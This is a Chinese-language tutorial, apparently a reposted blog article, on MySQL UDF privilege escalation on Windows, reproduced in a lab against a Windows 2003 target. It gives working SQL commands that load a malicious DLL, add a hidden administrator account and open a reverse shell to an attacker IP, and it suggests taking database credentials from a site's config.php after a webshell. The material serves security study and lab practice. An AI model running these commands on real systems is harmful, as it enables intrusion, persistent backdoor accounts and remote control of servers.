【数据库提权】MySQL提权之UDF提权

文章目录

        • 一、什么是UDF?
        • 二、什么是动态链接库?
        • 三、UDF提权原理
        • 四、UDF提权复现


一、什么是UDF?

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

二、什么是动态链接库?

DLL 是 Dynamic Link Library 的缩写,译为“动态链接库”。DLL也是一个被编译过的二进制程序,可以被其他程序调用,但与 exe 不同,DLL不能独立运行,必须由其他程序调用载入内存。

DLL 中封装了很多函数,只要知道函数的入口地址,就可以被其他程序调用。

Windows API中所有的函数都包含在DLL中,其中有3个最重要的DLL:

  • Kemel32.dll:它包含那些用于管理内存、进程和线程的函数,例如CreateThread函数;
  • User32.dll:它包含那些用于执行用户界面任务(如窗口的创建和消息的传送)的函数,例如 CreateWindow 函数;
  • GDI32.dll:它包含那些用于画图和显示文本的函数。

说白了就是.dll中封装好了很多函数供外部程序调用。

三、UDF提权原理

正是由于MySQL支持UDF,支持我们自定义函数来扩展功能。当我们创建带有调用cmd函数的'udf.dll'(动态链接库)。当我们把'udf.dll'导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。

udf.dll导出指定文件夹:

  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

plugin目录创建方式:

  • 通过菜刀连接创建
  • 通过mysql语句创建

提权条件:

  • 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
  • 可以将udf.dll写入到相应目录的权限。

四、UDF提权复现

实验环境:

  • 靶机Windows2003-x86 + phpstudy php-5.4.54+Apache+mysql-5.5.53
  • 攻击机win7

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。

使用菜刀上传提权马:

【数据库提权】MySQL提权之UDF提权_第1张图片
【数据库提权】MySQL提权之UDF提权_第2张图片
导出UDF到plugin目录:

【数据库提权】MySQL提权之UDF提权_第3张图片
【数据库提权】MySQL提权之UDF提权_第4张图片
创建cmdshell:

【数据库提权】MySQL提权之UDF提权_第5张图片
查看提权马源码,创建cmdshell实际上就是通过引入的dll动态链接库创建cmdshell函数

【数据库提权】MySQL提权之UDF提权_第6张图片
相关命令:

create function cmdshell returns string soname 'moonudf.dll'    // 创建cmdshell
select cmdshell('net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add')   // 添加超级管理员
select cmdshell('net user')  // 查看用户
select cmdshell('netstat -an')  // 查看端口
select name from mysql.func   // 查看创建函数
delete from mysql.func where name='cmdshell'  // 删除cmdshell
create function backshell returns string soname 'moonudf.dll'  // 创建反弹函数
select backshell('192.168.157.130',12345)    // 执行反弹
delete from mysql.func where name='backshell'  // 删除backshell

执行命令:

【数据库提权】MySQL提权之UDF提权_第7张图片
【数据库提权】MySQL提权之UDF提权_第8张图片
提升后的权限为运行MySQL的用户权限。

参考文章:

http://c.biancheng.net/cpp/html/2750.html
https://xz.aliyun.com/t/2719
https://paper.404sec.com/7815.html
https://blog.csdn.net/qq_36119192/article/details/84863268

你可能感兴趣的:(提权,1024程序员节,mysql,提权)